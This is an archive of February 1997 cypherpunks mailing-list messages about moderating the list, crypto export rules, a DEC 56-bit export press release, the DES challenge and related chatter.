Subject: Re: Dissolving Choke Points
Message-ID: <199702042321.PAA07602@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gbroiles@netbox.com"  "Greg Broiles"  4-FEB-1997 14:55:18.91

>But my impression is that many moderation opponents would also be opponents
>of a move to Usenet. Perhaps I'm wrong. But Usenet offers precisely what many
>people claim we must have for the list to be viable, e.g.,
>uncontrolled/uncontrollable distribution and messaging. So I'm curious about
>whether or not the proponents of an open, uncontrolled list really want it to
>be *that* open and uncontrolled. In the past, there's been strong opposition
>to that. But it's possible that most of the people who had strong feelings
>about not wanting to be subjected to the downside of Usenet have already left
>the list.

>(And if the current opponents of moderation don't want to see the list be
>quite that open, I think what we're arguing about here is not "censorship v.
>no censorship" but "what degree of censorship do we want? one lump, or two?",
>which pretty much eliminates anyone's claim to have a moral high ground from
>which to argue.)  

	Umm... there's a difference. Moderation is control by a _person_;
not moving to Usenet is control by nobody except how things happen to be set
up.

>The good side I see to a move to Usenet is that it lets people use the
>comparatively better tools for managing messages - e.g., NoCeM, threading, nn
>(whose killfiles will kill by thread, author, regexp, and can be time limited
>so you can easily give annoying people a 30-day 'timeout' and see if they're
>still a kook later on), AltaVista and DejaNews archiving/searching, and
>server architecture that's designed to cope with storing/indexing many
>messages.

	Hmm... since both you and Bill Stewart are pointing out various
advantageous things about Usenet, I may need to retract my previous statement
that mail fitering is better. On the other hand, other people have mentioned
the susceptibility of email to write-your-own filtering and other
processing. (For instance, I've got a project that needs cypherpunks (and
other controversial groups) to be on mailing lists instead of (or at least
as well as) news servers to work right.) Is there a full-scale equivalent
of procmail for Usenet, including functions like shunting messages to
programs et al?

>The down side is that Usenet is more or less a sewer these days, and some of
>it's bound to spill over. 

	Quite.
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@sgi.com>
Date: Tue, 4 Feb 1997 23:25:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702050725.XAA18012@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back wrote:
> 
> What do people think of starting an alt.cypherpunks USENET newsgroup?
> 

I have only one objection. I will never post to an Usenet group
under my real email address for fear of ending up in spammer
databases.

-- 
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vincent Cate <vince@offshore.com.ai>
Date: Tue, 4 Feb 1997 14:05:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Press/Digital Wins US Dept of Comm. Approval to Export Encryption Prod. (fwd)
Message-ID: <199702042205.OAA06481@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Tue, 4 Feb 1997 08:37:24 -0500
From: DIGITAL PRESS RELEASE <irprod@nimv03.das.dec.com>
To: pr-news@majordomo.das-x.dec.com
Subject: Press/Digital Wins US Dept of Comm. Approval to Export Encryption Prod.


||||||  Digital Press and Analysts News  ||||||||||||||||||||||||||||||||||

                                              Digital Equipment Corporation
                                          Maynard, Massachusetts 01754-2571

Editorial contact:

   Patrick Ward
   (508) 493-9441
   patrick.ward@mail.dec.com

           Digital Equipment Corporation Wins US Department of 
         Commerce Approval to Export Stronger Encryption Products

                 56-bit Data Scrambling Technology
               Safeguards Internet Commerce Worldwide

MAYNARD, Mass., February 3, 1997 -- Digital Equipment Corporation 
today announced that it has won United States Department of Commerce 
approval to export 56-bit encryption products worldwide, the 
strongest yet for protecting Internet commerce worldwide.

     Last week a University of California at Berkeley graduate 
student used a set of workstations to crack a 40-bit encryption code 
in 3.5 hours.  "The same workstations would require more than 20 
years to break a 56-bit Data Encryption Standard (DES Code), 
according to Samuel H. Fuller, DIGITAL's vice president and chief 
scientist.

     "The Commerce Department's action enables DIGITAL to provide 
its international customers with complete systems for electronic 
commerce over the Internet, including the necessary security 
software," according to DIGITAL's Chairman, Robert B. Palmer. "This 
makes the Internet more attractive for our customers worldwide, and 
represents an exciting market opportunity for DIGITAL."

     "We are very pleased with the leadership shown by DIGITAL's top 
management, including Robert Palmer, in making a long-term 
commitment to develop, produce and market key recovery products and 
to take advantage of the Administration's new policy on encryption 
exports," said Sue E. Eckert, assistant secretary for Export 
Administration.

     DIGITAL will immediately export 56-bit encryption for its 
OpenVMS operating systems and for its RoadAbout/DES Product for 
wireless LAN computing.  Shipments of the 56-bit export version of 
AltaVista Tunnel will follow this year.

     "AltaVista Tunnel software can simply and cost-effectively 
create 'Virtual Private Networks,' allowing customers who are 
traveling or at remote sites to securely access their company's 
private network over the public Internet," said Ilene H. Lang, 
president and chief executive officer of AltaVista Internet 
Software, and a vice president at DIGITAL. "Now the Virtual Private 
Networks we offer to customers in the United States can become 
Global Private Networks as the market expands worldwide."

     The Commerce Department announced on December 30 that American 
companies could export "strong" or Data Encryption Standard (DES)
encryption products, such as DIGITAL's industry-leading AltaVista 
Tunnel, if the companies could demonstrate progress in developing 
key-recovery products over the next two years.  Previously the US 
government had restricted export of strong encryption for security 
reasons.

     Digital Equipment Corporation is a world leader in open client/
server solutions from personal computers to integrated worldwide 
information systems.  DIGITAL's scalable Alpha and Intel platforms, 
storage, networking, software and services, together with industry-
focused solutions from business partners, help organizations compete 
and win in today's global marketplace.
                                ####

Note to Editors:  DIGITAL, the DIGITAL logo and OpenVMS are 
                  trademarks of Digital Equipment Corporation.

CORP/97/537
============================================================================
Digital Press and Analysts News is sent as a courtesy to members of 
the press, analyst and consulting community.  For subscription 
information please contact pr-news@pa.dec.com.  All Digital press 
releases, fact sheets and backgrounders are archived on ftp.digital.com 
in the /pub/Digital/info/pr-news directory.  They are also available at 
http://www.digital.com/info/pr-news/ on the World Wide Web .
============================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 23:28:22 -0800 (PST)
To: Clint Barnett <nobody@replay.com>
Subject: Re: Getting into MIT is impossible
Message-ID: <199702050728.XAA18191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
Crazy."  Computer science major, BTW.




At 07:37 PM 2/3/97 -0800, Clint Barnett wrote:
>wasn't Dolph Lundgren an MIT grad? I seem to remember something about him 
>having a degree in Chemical Engineering  or something along those lines. 
>
>clint barnett
>lord of the cosmos
>emily carr institute
>
>On Wed, 29 Jan 1997, Anonymous wrote:
>
>> 
>> 
>> According to Rick Osborne:
>> 
>> "I disagree and can speak from experience.  I was denied admission to MIT
>> even thought I had a 3.82 GPA, 1440 SAT (one try), and had taken 9 AP tests
>> with two 5's, four 4's, two 3's, and one 2.  As for being well-rounded, I
>> was on several academic teams, sang in Chorus, acted and stage managed in
>> Drama, and played Tennis."
>> 
>> People get into MIT--or don't get into MIT--for lots of reasons. Most
>> intelligent people apply to several schools, knowing that admissions
>> practices are subject to the vagaries of reality.
>> 
>> In my case, my SATs were about 1500, with some 800s in achievement tests.
>> And the usual bullshit high school clubs, political offices, etc. etc. I
>> was accepted by MIT, but not by Caltech. I didn't lose any sleep over the
>> way things turned out.
>> 
>> And I decided not to go to MIT, either.
>> 
>> "The only thing I didn't have that the next MIT applicant had was money.  I
>> made the mistake of letting them know that I was dirt poor and would need
>> full aid/grants/etc, and to quote "The Great Escape" it was "Zzzt! To the
>> Russian front!""
>> 
>> My guess is that "other factors" were involved. 
>> 
>> I noted with some interest, but little surprise, that the guy claiming MIT
>> required a 4.0 GPA and a 1600 combined SAT score could barely spell, and
>> had major problems making a coherent point. Methinks this is why MIT
>> rejected him, not his lack of a "1600."
>> 
>> ">For what it's worth, I wanted to go to MIT my sophomore year in high
>> >school, too
>> 
>> "Lucky you.  It had been a dream of mine since I was an annoying
>> overachiever of 6.  Sux to be white trash, I guess."
>> 
>> MIT offered me a substantial economic aid package, in the form of loans,
>> grants, and various campus jobs. What does this tell you?
>> 
>> "MIT may be a great school, but they tend to be snooty assholes for the most
>> part.  (DISCLAIMER: Not all MIT grads/attendees are necessarily "snooty
>> assholes", I'm just saying that I've yet to meet one that wasn't.)
>> 
>> I've known about a dozen or so MIT grads, and only one of them was a snooty
>> asshole, and it was a _she_, one of the first MIT women grads (and she was
>> _very_ impressed by this). 
>> 
>> Most MIT grads are perfectly reasonable.
>> 
>> Xanthar
>> 
>> 
>> 
>> 
>> --
>> 
>
>
>
Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 4 Feb 1997 16:27:58 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: concerning Ben Franklin
Message-ID: <199702050027.QAA08786@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This is one of the point that I address in my article in the February 1997
issue of "Internet Underground" magazine (to which I am a contributing
editor). Here's an excerpt, since the magazine is just starting to hit the
stands.

---
The debate swirling through Capitol Hill conference rooms and the
corridors of the White House revolves around one basic question: What role
should the government play in regulating encryption?

The founding fathers might be startled by the byzantine rules. After all,
some revolutionaries were cryptographers themselves. Benjamin Franklin in
1781 crafted a substitution cipher based on a 682-character French phrase.
James Madison created a code replacing words with two- and three-digit
numbers that he used until 1793.

But by far the most remarkable cryptologist of the Revolutionary War was
the author of the Declaration of Independence, Thomas Jefferson, who
between 1790 and 1800 invented a cipher system so far ahead of its time
that it remained in use even into the late 20th century.
---

The Codebreakers is also a good source.

-Declan


>I was reading one of the posts in the thread reguarding sone stolen object
>in Miami, the one reffering to the locks of the boxes, and it got me thinking.
>Ben Franklin was a revolutionary, scientist, inventor, publisher, statesman,
>and bookburner (according to F451).  Perhaps he should be considered to be a
>cypherpunk, not that he necessarily knew anything about crypto, but because
>he was interested in many of the same ideals.  It is my belief that were he
>alive today, he would be on this list.  If the work of fiction referred to
>above, and in another recent post, is accurate in its reference to Franklin,
>then he would seem to have had the same solution to net pollution, burn it.
>Rather than considering Ben Franklin the first fireman, I would like to
>think of him as an early breed of cypherpunk.  By this I consider cypherpunk
>to be interested in the subject, and its outcome, and a cryptographer to be
>just one faction of cypherpunk.  Merely my opinion.
>Does anyone know whether or not Mr. Franklin may have played with code as
>well?  All of my sources were assimilated into my understanding of the man
>several years ago, and at the time crypto was less in the public eye than it
>is now.



-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Tue, 4 Feb 1997 16:27:38 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <199702050027.QAA08748@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam writes:

>The problem with censorship or moderation is that it waters down the
>absolutism of free speech.  Free speech in electronic media, with
>cypherpunks type I, and type II remailers, is the closest thing to
>truly free speech yet.

I agree and disagree. Moderation often *increases* the value of speech. The
Wall Street Journal, or Time Magazine, or the JAMA have strict policies
regarding what information they print; these policies increase the
publication's value. Moderation is not necessarily censorship. Would you
criticize the National Coalition Against Censorship for not including in
their newsletter (to which I subscribe) off-topic rants by Jesse Helms?

What Vulis and the rest (whom I killfiled long ago) have done is polluted a
common resource, making it unusable for the rest. It's the tragedy of the
commons. When all can speak without limit in a public forum, the drunken
boor can shout everyone else down.

-Declan



-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:26:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702050726.XAA18063@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Michael Froomkin - U.Miami School of Law wrote:

> I'm afraid you have been a charter member of my killfile.  Any comments
> you may have made, I missed.  Since they weren't about crypto anyway, but
> about list moderation (a dull topic, IMHO), I can accept that.

I never commented about crypto?  Why, I even wrote a crypto program,
which few on this list have done, BTW.

I hope Sandy allows this on the big list, since Michael has penned
a message about me, but said that he won't allow my reply to him.

Nobody has to tell me (or probably anyone else either) that they
have killfiled me (or anyone else).  All they have to do is ignore
me (or anyone else), and there's no further problem, plus, as a
bonus, it makes for less noise on the list.  What say, Michael?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steven Herod <sherod@medeserv.com.au>
Date: Tue, 4 Feb 1997 06:55:52 -0800 (PST)
To: cryptography@c2.net
Subject: Full strength Email Clients.
Message-ID: <199702041455.GAA28699@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello, I'm in search of an  *EASY TO USE* Internet Email client software
that uses full strength (outside US export restriction) RSA encryption.

It would be used for end to end encryption of Patient Pathology results,
hence the need for "full strength".

Any pointers to sites of interest?

Best Regards
Steven Herod
Computer Systems Officer
Med-E-Serv Connect, a division of CITEC





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 4 Feb 1997 16:27:11 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: Govt & cyberspace
Message-ID: <199702050027.QAA08736@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Steve writes:

>Democracy is not without its significant shortcomings. If you doubt this
>read Tocquevelle.

Or Hayek. Democracy, after all, is majoritarian rule. Living under a
homogenous majority, with its whims and desires as law, would be more
oppressive than living under a benign dictatorship.

-Declan


-------------------------
The Netly News Network
Washington Correspondent
http://netlynews.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:26:47 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702050726.XAA18124@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


aaron@herringn.com wrote:
> John Gilmore wrote:
> >I'm glad we're talking about some of the real issues here.
> >Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> >month.  I'll admit I made it easy for them, but the results are
> >conclusive.  There are 1311 addresses in the cypherpunks list today;
> >42 in the unedited list; and 19 in the flames list.  Forty people
> >cared enough to read every posting; the other thousand either wanted
> >to try the experiment -- or didn't care enough to send an email
> >message.  Which, as we all know, is a very low threshold.

Re: the below.  Easily the best and most intelligent suggestion so
far.  Why couldn't Sandy and John with all their experience think
of this?

> If I might make a suggestion:
> Some people want moderation. That's fine, I've never been very big on
> letting other people choose what I read, but some people want it.
> For those who want it, let someone moderate the list for as long as
> they care to do it. Approved messages get a "X-sandy-approved"
> header. The responsibility for setting up a filter to toss everything
> that doesn't have the header is the responsibility of the end user.
> Toad will need to filter incoming posts to make sure they don't come
> "pre-approved", but that's the only hole I can think of.
> Everyone gets all of the Cypherpunks list. Those who want moderation
> filter the unapproved posts, those who want all of it get all of it.
> Hopefully, this will make (almost) everyone happy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 23:26:41 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702050726.XAA18116@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:14 PM 2/3/97 -0800, Timothy C. May wrote:

>Several people have also commented on this, that their filters are still
>working overtime. As it should be, really, as no moderator can make the
>list match any given person's preferences.
>
>(Personally, I'm not even convinced filters are essential. It takes no
>longer than 5 seconds to glance at a message and know whether to scrap it
>or not. Granted, it takes a bit of time to download, especially at slower
>modem speeds. But whether Sandy's censorship is producing any significant
>"savings" depends on how many messages he's sorting into each
>pile...clearly if 20% or less of the total posts are being filtered out,
>then the savings are ignorable.

That might not be quite true, or at least not complete.  Another effect is 
that the new structure of the list may deter some of the flamers from 
posting, when they don't think their notes will be seen on the moderated list.

In any case, however, I agree that spam and trash are easy to filter out.



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:26:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Govt & cyberspace
Message-ID: <199702050726.XAA18108@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> Steve writes:
> >Democracy is not without its significant shortcomings. If you doubt this
> >read Tocquevelle.

> Or Hayek. Democracy, after all, is majoritarian rule. Living under a
> homogenous majority, with its whims and desires as law, would be more
> oppressive than living under a benign dictatorship.

I wish for once and for all someone would delineate this "democracy"
thing from a true, distributed democracy, where every individual is
required to participate equally, and no narrow interests can co-opt
the vote the way they do in the kind of "democracy" Declan mentions.

Wouldn't it be better when people mention a one-word political
philosophy such as democracy, that they make the definition
more precise by using two or three words instead?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Tue, 4 Feb 1997 11:41:56 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702041941.LAA04358@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.  Forty people
> cared enough to read every posting; the other thousand either wanted
> to try the experiment -- or didn't care enough to send an email
> message.  Which, as we all know, is a very low threshold.

I just have to point out that you are ignoring some important factors
(though I do trust your intentions and believe it is unintentional).
I initially tried subscribing to all the lists, but the headers of the
edited and unedited lists were identical making it impossible to sort
the mail.  To make matters worse, some messages seem to have gone out
only to the edited list, and not to the unedited (particularly at the
beginning), so that, unable to come up with a decent filtering scheme
easily, I finally gave up and just subscribed to cypherpunks.

In general, unsubscribing and resubscribing to a mailing list is not
completely trivial.  In addition to the particulars of cypherpunks,
there are also the issues of what if your E-mail address depends on
the machine you send mail from and your unsubscribe request gets
delayed for confirmation.  What if the new list no longer works
properly with your mail filter and you end up with 1,000 pieces of
cypherpunks mail in your main mailbox, etc.  These are not
insurmountable obstacles, but they certainly provide a strong enough
disincentive for people to switching their list subscriptions that I
think the numbers you list above are meaningless.

Perhaps a better comparison would be to look at how many people
subscribe to the other two filtered cypherpunks lists.

> Perhaps at that point I should have shut down the list, as Lucky is
> now suggesting.

Well, you don't appreciate the content of the list, and you seem to
feel that many members of the list don't appreciate what you are
doing.  Why not shut the list down?  I can think of one reason:
cypherpunks seems to suck in a lot of crap, and might be keeping that
crap away from the coderpunks list.  Other than that, though, I think
killing this list would probably be a good idea.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 4 Feb 1997 23:26:00 -0800 (PST)
To: jproc@bellglobal.com
Subject: Re: BA Crypto Machine Photos
Message-ID: <199702050726.XAA18050@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>BTW, does anyone know the meaning of 'order wire mode' in the context of a
>crypto broadcast? This mode is found in the KWR-37 online crypto
>receiver. Please send all photo requests or responses via private E-mail.

If it means the same thing as in the telecom industry, its an out-of-band
(often analof) channel between two locations connected by wide-band (e.g.,
T1) facilities.  Its primary purpose is to provide service personnel, at
each end point, the ability to converse with one another while performing
work on that link.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joel McNamara <joelm@eskimo.com>
Date: Tue, 4 Feb 1997 23:26:26 -0800 (PST)
To: coderpunks@toad.com
Subject: Unofficial DES Challenge Clearinghouse
Message-ID: <199702050726.XAA18086@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Until someone comes up with an automated method of keyspace allocation for
the DES challenge (and maybe even after), I've decided to run the
Unofficial DES Challenge Clearinghouse.

This Web page will list keyspace that's already been searched (or is
planned to be searched) with links to any brute force utilities.

If you clear part of the keyspace, e-mail me the range, and I'll update the
page.

http://www.eskimo.com/~joelm/des.html

Yes, I agree that a trusted, verifiable method of keyspace allocation and
reporting needs to be put in place, but in the meantime, this rather simple
page will hopefully reduce some duplication of effort.

Joel





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Tue, 4 Feb 1997 23:42:54 -0800 (PST)
To: Name Withheld by Request <nobody@replay.com>
Subject: re: Moderation, Tim, Sandy, me, etc * Reputation Capital
Message-ID: <199702050742.XAA18656@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 5 Feb 1997, Name Withheld by Request wrote:

> [snip]
> John Gilmore said:
> >Perhaps at that point I should have shut down the list, as Lucky is
> >now suggesting.  "Asking the list what to do" was clearly not a useful
> >option.  Sandy cared enough about the community to make some concrete
> 
> Not a useful option? Why not? If there aren't any ideas left in this 
> community, I'm with Lucky. Pull the plug.
> [snip]

I've been meaning to ask this for a while...but why *don't* we just pull 
the plug, at least for just a few days?

Unsubscribe everyone from all the lists, wait a bit, and then send a 
message to all of the subscribers with full info on each of the lists 
(cp, cp-unedited,cp-flames) and see what happens when they resubscribe. 

I bet that most of the people who don't post and don't care one way or 
the other wouldn't bother to resubscribe, so we'd have a higher ratio of 
people who mind if the list is moderated vs. those who'd be happy either 
way.  




Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 4 Feb 1997 23:28:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Harvard Symposium
Message-ID: <199702050728.XAA18201@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Mime-Version: 1.0
Date: Tue, 4 Feb 1997 15:10:17 -0800
From: jmuller@brobeck.com (John D. Muller)
Subject: Harvard Symposium
To: rah@shipwright.com

        Bob:  I don't recall seeing this on e$pam and thought it might be
     of interest.  What with the Boston connection, it's clearly a
     dcsb-worthy item, and I'll send it to them separately.


______________________________ Forward Header
__________________________________
Subject: [NET-LAWYERS] HARVARD JOURNAL OF LAW & TECHNOLOGY
Author:  "K. Dueker" <kdueker@LAW.HARVARD.EDU> at internet
Date:    2/4/97 1:00 AM


[CROSS-POSTED; PLEASE FORGIVE DUPLICATION]

PRESS RELEASE

Symposium:  Crime & Technology
Law Enforcement Technology % Cybercrime % Electronic Commerce

(Cambridge, Massachusetts) - The Harvard Journal of Law & Technology is
pleased to announce its Spring Symposium: "Crime & Technology."  The
Symposium will be held Saturday, March 15, 1997, in the Ames Courtroom at
the Harvard Law School in Cambridge, MA.

The Symposium will consist of two moderated panel discussions, as well as
several presentations.  The morning session is expected to focus on
"Search, Seizure, and Surveillance Technology," while the afternoon session
will focus on "The Risks of Electronic Banking & Commerce."

Admission to the Symposium is free to all Harvard affiliates (with valid
Harvard ID), $15 for all other students, $30 for public sector
professionals, and $100 for private sector professionals.

The Spring Issue of the Journal will include articles covering the broad
topic of "Crime and Technology."

For additional information about the Symposium or the Journal, contact
Symposium Editor Belinda Juran, by e-mail at juran@law.harvard.edu, or by
phone at the Harvard Journal of Law & Technology offices at
617-495-3606 or 617-493-7949.


ABOUT THE JOURNAL:
The Harvard Journal of Law & Technology is a leading scholarly
publication for articles addressing the many diverse interstices of
science and technology with law and society.  We have published articles
by law professors, practitioners, business leaders, and politicians on
varied topics including biotechnology, computers, international trade,
technology transfer, intellectual property, medical technologies, and
telecommunications. These and other subjects are some of the most
exciting and rapidly developing areas of the law, and we believe that the
dialogue provided by the Harvard Journal of Law & Technology will help to
shape the future of this important field.  We welcome submissions of
articles, case comments, or book reviews addressing the relationship of
law and technology.



SUBSCRIPTION INFORMATION:
For additional information, please contact the Journal at the address
below.  The Journal publishes three issues each year. To subscribe to the
Journal's upcoming issues in Volume 10,  please send the Journal a check
for U.S. $45.00 (foreign orders $50.00) to the address below.  To obtain
the issue discussed above or back issues, please send the Journal a check
for $35.00 with a note indicating the desired issue (i.e., "Vol. 9 No. 2").

Media Contact:  Kenneth S. Dueker, Communications Editor
Release Date:  February 04, 1997.

*************************************************************************

              Harvard Journal of Law & Technology
              Publications Center
              Harvard Law School
              Cambridge, MA 02138


              Telephone: (617) 495-3606

              E-Mail:  jolt@law.harvard.edu
              WWW:  http://www.law.harvard.edu/home/jolt/

*************************************************************************




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 23:43:01 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Moderation, Tim, Sandy, me, etc * Reputation Capital
Message-ID: <199702050743.XAA18659@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Z.B. wrote:
> On Wed, 5 Feb 1997, Name Withheld by Request wrote:
> > John Gilmore said:
> > >Perhaps at that point I should have shut down the list, as Lucky is
> > >now suggesting.  "Asking the list what to do" was clearly not a useful
> > >option.  Sandy cared enough about the community to make some concrete

> > Not a useful option? Why not? If there aren't any ideas left in this
> > community, I'm with Lucky. Pull the plug.

On the below:  Remember in "I, Mudd" where the Captain said to Rodney
the Robot: "I'm lying - everything I say is a lie".  And the robot
collapses because it is not programmed to handle such blatant acts
of sabotage of reality.

Humans OTOH, and particular those who do odd jobs for the CIA (you
know, the ones who make those little "excursions" to Nepal and Burma),
have no problem with this, since their reality doesn't even intersect
with that of typical mailing list readers.

What is Tim May really mad about?  What he says he's mad about?
I don't think so.  The scam ran past him and he fell off of the
truck.  Tsk tsk.

> I've been meaning to ask this for a while...but why *don't* we just pull
> the plug, at least for just a few days?
> Unsubscribe everyone from all the lists, wait a bit, and then send a
> message to all of the subscribers with full info on each of the lists
> (cp, cp-unedited,cp-flames) and see what happens when they resubscribe.
> I bet that most of the people who don't post and don't care one way or
> the other wouldn't bother to resubscribe, so we'd have a higher ratio of
> people who mind if the list is moderated vs. those who'd be happy either






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 4 Feb 1997 15:19:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Are cypher punks capable?
Message-ID: <199702042319.PAA07553@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation wrote:
> In general, unsubscribing and resubscribing to a mailing list is not
> completely trivial.

Do you think that a cypher punk is not able to solve these problems?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 4 Feb 1997 23:41:11 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: More on Cellular Encryption Docs
Message-ID: <199702050741.XAA18590@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:31 PM 2/1/97 -0800, Bill Stewart wrote:
>At 04:10 PM 2/1/97 -0500, John Young wrote:
>>Here's more on the controlled documents for cellular encryption
>>from TIA/EIA we described in a 26 January post to cpunks:
>...
>>   TR45.0.A
>>   Common Cryptographic Algorithms, Revision B
>>   June 21, 1995, 72 pp. (With ITAR notice on every page)
>
>Of course, ITAR as recently modified says it's ok to send this
>stuff overseas to foreigners, as long as it's on paper.
>There may be separate restrictions on sending it, or on copying,
>but they're based on copyright or contractual non-disclosure.

Given that high-density inkjet printers can do 600x600 dpi resolution, it 
should be possible to achieve the equivalent of 100x100 bpi of 
easily-recoverable data on ordinary paper.  That's about 800 kilobits, or 
100 kilobytes.   What does ITAR say about this?


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Tue, 4 Feb 1997 23:41:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation, Tim, Sandy, me, etc. * Strong crypto == DES?!
Message-ID: <199702050741.XAA18620@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 4:05 PM -0800 2/4/97, aaron@herringn.com wrote:
>
>If I might make a suggestion:
>
>Some people want moderation. That's fine, I've never been very big on
>letting other people choose what I read, but some people want it.
>
>For those who want it, let someone moderate the list for as long as
>they care to do it. Approved messages get a "X-sandy-approved"
>header. The responsibility for setting up a filter to toss everything
>that doesn't have the header is the responsibility of the end user.
>Toad will need to filter incoming posts to make sure they don't come
>"pre-approved", but that's the only hole I can think of.
>
>Everyone gets all of the Cypherpunks list. Those who want moderation
>filter the unapproved posts, those who want all of it get all of it.
>
>Hopefully, this will make (almost) everyone happy.
>
I like this idea.
However, I would suggest an additional refinement:
	Implement a cypherpunks-moderated list which
is all the 'approved' messages. This way, people who wish
to have the benefits of a filtered list are happy, people who
wish to have posts rated for them (but be able to check on
the "rater") are happy, and people who wish to see every
message are happy.

(I know that John has concerns about toad's mail capacity,
and this may be too big a load)

ObCrypto policy:
	Was anyone else besides me amazed by the guy
from Deloitte-Touche at the Internet Privacy Coalition luncheon
last week? I mean, he all but advocated violent overthrow of
the government. D-T is the most "establishment" of the big-6
accounting firms, last time that I looked.

It's a weird world when we have a representative of a
company that makes a living advising people on how to
obey government regulations advocating civil disobedience.


-- Marshall

